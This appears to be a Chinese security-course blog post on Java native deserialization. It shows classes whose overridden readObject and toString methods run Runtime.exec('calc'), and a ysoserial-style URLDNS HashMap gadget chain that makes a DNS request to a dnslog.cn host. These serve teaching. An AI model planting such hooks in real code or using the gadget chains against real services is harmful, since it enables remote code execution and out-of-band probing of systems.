Day35:安全开发-JavaEE应用原生反序列化重写方法链条分析触发类类加载

news/2024/7/3 17:44:26 标签: Web安全

目录

Java-原生使用-序列化&反序列化

Java-安全问题-重写方法&触发方法

Java-安全问题-可控其他类重写方法

思维导图


Java知识点:

功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.

框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等

技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,反射机制待补充

安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充

安全:原生开发安全,第三方框架安全,第三方库安全等,待补充

Java-原生使用-序列化&反序列化

序列化与反序列化

序列化:将内存中的对象压缩成字节流

反序列化:将字节流转化成内存中的对象

为什么有序列化技术?

序列化与反序列化的设计就是用来传输数据的。

当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。

能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。

应用场景

(1) 想把内存中的对象保存到一个文件中或者是数据库当中。

(2) 用套接字在网络上传输对象。

(3) 通过RMI传输对象的时候。

几种创建的序列化和反序列化协议

• JAVA内置的writeObject()/readObject()

• JAVA内置的XMLDecoder()/XMLEncoder

• XStream

• SnakeYaml

• FastJson

• Jackson

为什么会出现反序列化安全问题

内置原生写法分析

• 重写readObject方法

• 输出调用toString方法

反序列化利用链

(1) 入口类的readObject直接调用危险方法

(2) 入口参数中包含可控类,该类有危险方法,readObject时调用

(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

(4) 构造函数/静态代码块等类加载时隐式

序列化实现,创建用户类,并实现 Serializable接口
package com.example;

import java.io.Serializable;
import java.io.IOException;
import java.io.ObjectInputStream;

// 用户信息类,实现了 Serializable 接口
public class UserDemo implements Serializable {

    // 公共成员变量
    public String name = "xiaodi";
    public String gender = "man";
    public Integer age = 30;

    // 构造方法
    public UserDemo(String name, String gender, Integer age) {
        this.name = name;
        this.gender = gender;
        this.age = age;
        System.out.println(name);
        System.out.println(gender);
    }

    // toString 方法,用于打印对象信息
    public String toString() {

        // 返回对象信息的字符串表示
        return "User{" +
                "name='" + name + '\'' +
                ", gender='" + gender + '\'' +
                ", age=" + age +
                '}';
    }
}

创建对应的序列化类,并创建对应的序列化方法:SerializableDemo.java

// 指定包名
package com.example;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

// 序列化演示类
public class SerializableDemo {

    public static void main(String[] args) throws IOException {
        // 创建一个用户对象,引用UserDemo
        UserDemo u = new UserDemo("xdsec", "gay1", 30);
        // 调用方法进行序列化
        SerializableTest(u);
        // ser.txt 就是对象u序列化的字节流数据
    }

    // 序列化方法
    public static void SerializableTest(Object obj) throws IOException {
        // 使用 ObjectOutputStream 将对象 obj 序列化后输出到文件 ser.txt
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        // 将对象 obj 进行序列化,并将序列化后的数据写入到文件输出流中。
        oos.writeObject(obj);
        // 关闭流
        oos.close();
    }
}

ser.txt的内容:

创建对应反序列化类,并创建对应反序列化方法:UnserializableDemo.java
package com.example;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.FileInputStream;

// 反序列化演示类
public class UnserializableDemo {

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        // 调用下面的方法,传输 ser.txt,解析还原反序列化
        Object obj = UnserializableTest("ser.txt");

        // 对 obj 对象进行输出,默认调用原始对象的 toString 方法
        System.out.println(obj);
    }

    // 反序列化方法
    public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
        // 读取 Filename 文件进行反序列化还原
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        // 通过 ois.readObject() 方法从文件输入流中读取一个对象,并将其赋值给变量 o。
        Object o = ois.readObject();
        // 返回反序列化后的对象
        return o;
    }
}

Java-安全问题-重写方法&触发方法

toString  //输出调用toString方法

User u = new User("xdsec","man",30);

System.out.println(u);

serializeTest(u);

unserializeTest("ser.txt");

readObject //序列化后被重写readObject调用

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {

//指向正确defaultReadObject

        ois.defaultReadObject();

Runtime.getRuntime().exec("calc");

}

重写方法:原理:readObject  序列化后被重写 readObject 调用

修改UserDemo.java

package com.example;


import java.io.Serializable;
import java.io.IOException;
import java.io.ObjectInputStream;

// 用户信息类,实现了 Serializable 接口
public class UserDemo implements Serializable {

    // 公共成员变量
    public String name = "xiaodi";
    public String gender = "man";
    public Integer age = 30;

    // 构造方法
    public UserDemo(String name, String gender, Integer age) {
        this.name = name;
        this.gender = gender;
        this.age = age;
        System.out.println(name);
        System.out.println(gender);
    }

    // toString 方法,用于打印对象信息
    public String toString() {
        

        // 返回对象信息的字符串表示
        return "User{" +
                "name='" + name + '\'' +
                ", gender='" + gender + '\'' +
                ", age=" + age +
                '}';
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException
    {
        // 指向正确的defaultReadObject
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }


}

运行 SerializableDemo.java 生成新的 ser.txt 后,运行 UnserializableDemo.java 进行反序列化,发现弹出了计算器程序。

这是因为在进行反序列化操作过程中,如下方法调用了 readObject 方法,但由于我们在 UserDemo.java 重写了该方法,所以导致此处执行的 readObject 不是原本默认的 readObject,而是我们自定义的 readObject,其中 ois.defaultReadObject() 使其指向正确的 readObject 从而使程序可以正常运行,又可以执行我们的代码

提一嘴,迪总说这个实战中基本遇不到,因为没人会这么干

触发方法:原理:toString  输出打印对象时调用 toString 方法

修改UserDemo.java

package com.example;

//import java.io.Serializable;
//import java.io.IOException;
//import java.io.ObjectInputStream;
//
 用户信息类,实现了 Serializable 接口
//public class UserDemo implements Serializable {
//
//    // 公共成员变量
//    public String name = "xiaodi";
//    public String gender = "man";
//    public Integer age = 30;
//
//    // 构造方法
//    public UserDemo(String name, String gender, Integer age) {
//        this.name = name;
//        this.gender = gender;
//        this.age = age;
//        System.out.println(name);
//        System.out.println(gender);
//    }
//
//    // toString 方法,用于打印对象信息
//    public String toString() {
//
//        // 返回对象信息的字符串表示
//        return "User{" +
//                "name='" + name + '\'' +
//                ", gender='" + gender + '\'' +
//                ", age=" + age +
//                '}';
//    }
//}


import java.io.Serializable;
import java.io.IOException;
import java.io.ObjectInputStream;

// 用户信息类,实现了 Serializable 接口
public class UserDemo implements Serializable {

    // 公共成员变量
    public String name = "xiaodi";
    public String gender = "man";
    public Integer age = 30;

    // 构造方法
    public UserDemo(String name, String gender, Integer age) {
        this.name = name;
        this.gender = gender;
        this.age = age;
        System.out.println(name);
        System.out.println(gender);
    }

    // toString 方法,用于打印对象信息
    public String toString() {

        try {
            Runtime.getRuntime().exec("calc");
        }catch (IOException e) {
            throw new RuntimeException(e);
        }

        // 返回对象信息的字符串表示
        return "User{" +
                "name='" + name + '\'' +
                ", gender='" + gender + '\'' +
                ", age=" + age +
                '}';
    }

}

这里没有运行 SerializableDemo.java 生成新的 ser.txt,我前面一直以为 ser.txt 里面保存的是那个对象类,需要每次新生成,写的新代码才会生效。结果这里直接运行反序列化,新写的代码也可以生效,有点纳闷。

直接运行 UnserializableDemo.java 进行反序列化,发现弹出了计算器程序。这是由于当对一个对象进行打印输出时,会默认自动调用它的 toString 方法,而我们这里在 toString 加入了我们要运行的代码,所以当反序列化时下面代码运行打印输出时,我们的代码就会成功执行。

Java-安全问题-可控其他类重写方法

参考:https :// github . com / frohoff / ysoserial / blob / master / src / main / java / ysoserial / payloads / URLDNS . java

UrLDns.java

package com.example;

import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class UrLDns implements Serializable {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        //正常代码中 创建对象HashMap

        //用到原生态readObject方法去反序列化数据
        //readObject 在ObjectInputSteam 本来在这里
        //HashMap也有readObject方法

        //反序列化readObject方法调用 HashMap里面的readObject
        //执行链:
        //序列化对象hash 来源于自带类HashMap
//         *   Gadget Chain:
//                *   HashMap.readObject()
//                *       HashMap.putVal()
//                *         HashMap.hash()
//                *           URL.hashCode()
        //hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞

        HashMap<URL,Integer> hash = new HashMap<>();
        URL u=new URL("http://0tzp6g.dnslog.cn");
        hash.put(u,1);

        SerializableTest(hash);
        UnserializableTest("dns.txt");

    }


    public static void SerializableTest(Object obj) throws IOException {
        //FileOutputStream() 输出文件
        //将对象obj序列化后输出到文件ser.txt
        ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("dns.txt"));
        oos.writeObject(obj);

    }

    public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
        //读取Filename文件进行反序列化还原
        ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
        Object o = ois.readObject();
        return o;
    }


}

正常代码中 创建对象HashMap

用到原生态readObject方法去反序列化数据
readObject 在ObjectInputSteam 本来在这里
HashMap也有readObject方法

反序列化readObject方法调用 HashMap里面的readObject
执行链:
序列化对象hash 来源于自带类HashMap
 *   Gadget Chain:
        *   HashMap.readObject()
        *       HashMap.putVal()
        *         HashMap.hash()
        *           URL.hashCode()
hashCode 执行结果 触发访问DNS请求 如果这里是执行命令的话 就是RCE漏洞

思维导图


http://www.niftyadmin.cn/n/5422057.html

相关文章

Clearview X for mac v3.5.0 电子书阅读器 兼容 M1/M2/M3

应用介绍 Clearview X 是 macOS 上的一款简洁易用且美观大方的电子书阅读器。直观好用的图书管理功能&#xff0c;支持 PDF, Epub, MOBI, CHM, FB2, CBR, CBZ 等流行的电子书格式&#xff0c;可以方便地添加注解&#xff0c;插入书签&#xff0c;及迅速的搜索查找。支持在不同…

二刷代码随想录算法训练营第二十天 |654.最大二叉树、617.合并二叉树、700.二叉搜索树中的搜索、98.验证二叉搜索树

目录 一、654. 最大二叉树 二、617. 合并二叉树 三、700. 二叉搜索树中的搜索 四、验证二叉搜索树 一、654. 最大二叉树 题目链接&#xff1a;力扣 文章讲解&#xff1a;代码随想录 视频讲解&#xff1a; 又是构造二叉树&#xff0c;又有很多坑&#xff01;| LeetCode&…

Flink 性能优化总结(内存配置篇)

内存配置优化 Flink 内存模型 内存模型详解 进程内存&#xff08;Total Process Memory&#xff09;&#xff1a;Flink 进程内存分为堆上内存和堆外内存&#xff0c;堆上内存和 堆外内存的主要区别在于它们的管理方式不同和使用方式不同&#xff0c;这些会影响到它们的性能和…

【设计模式】享元模式的使用场景及与其他共享技术的对比

文章目录 1.概述2.享元模式2.1.核心概念2.2.实现案例2.2.1.内部状态实现2.2.2.外部状态实现 2.3.更多场景 3.享元模式的一些对比3.1.与缓存的区别3.2.与池化技术的区别 4.总结 1.概述 享元模式&#xff08;Flyweight Pattern&#xff09;是一种非常常用的结构型设计模式&#…

6.S081的Lab学习——Lab1: Xv6 and Unix utilities

文章目录 前言一、启动xv6(难度&#xff1a;Easy)解析&#xff1a; 二、sleep(难度&#xff1a;Easy)解析&#xff1a; 三、pingpong&#xff08;难度&#xff1a;Easy&#xff09;解析&#xff1a; 四、Primes(素数&#xff0c;难度&#xff1a;Moderate/Hard)解析&#xff1a…

微信小程序云开发教程——墨刀原型工具入门(素材面板)

引言 作为一个小白&#xff0c;小北要怎么在短时间内快速学会微信小程序原型设计&#xff1f; “时间紧&#xff0c;任务重”&#xff0c;这意味着学习时必须把握微信小程序原型设计中的重点、难点&#xff0c;而非面面俱到。 要在短时间内理解、掌握一个工具的使用&#xf…

PostgreSQL教程(三十四):服务器管理(十六)之逻辑复制

逻辑复制是一种基于数据对象的复制标识&#xff08;通常是主键&#xff09;复制数据对象及其更改的方法。我们使用术语“逻辑”来与物理复制加以区分&#xff0c;后者使用准确的块地址以及逐字节的复制方式。PostgreSQL两种机制都支持。逻辑复制允许在数据复制和安全性上更细粒…

14.WEB渗透测试--Kali Linux(二)

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 内容参考于&#xff1a; 易锦网校会员专享课 上一个内容&#xff1a;13.WEB渗透测试--Kali Linux&#xff08;一&#xff09;-CSDN博客 netcat简介内容:13.WE…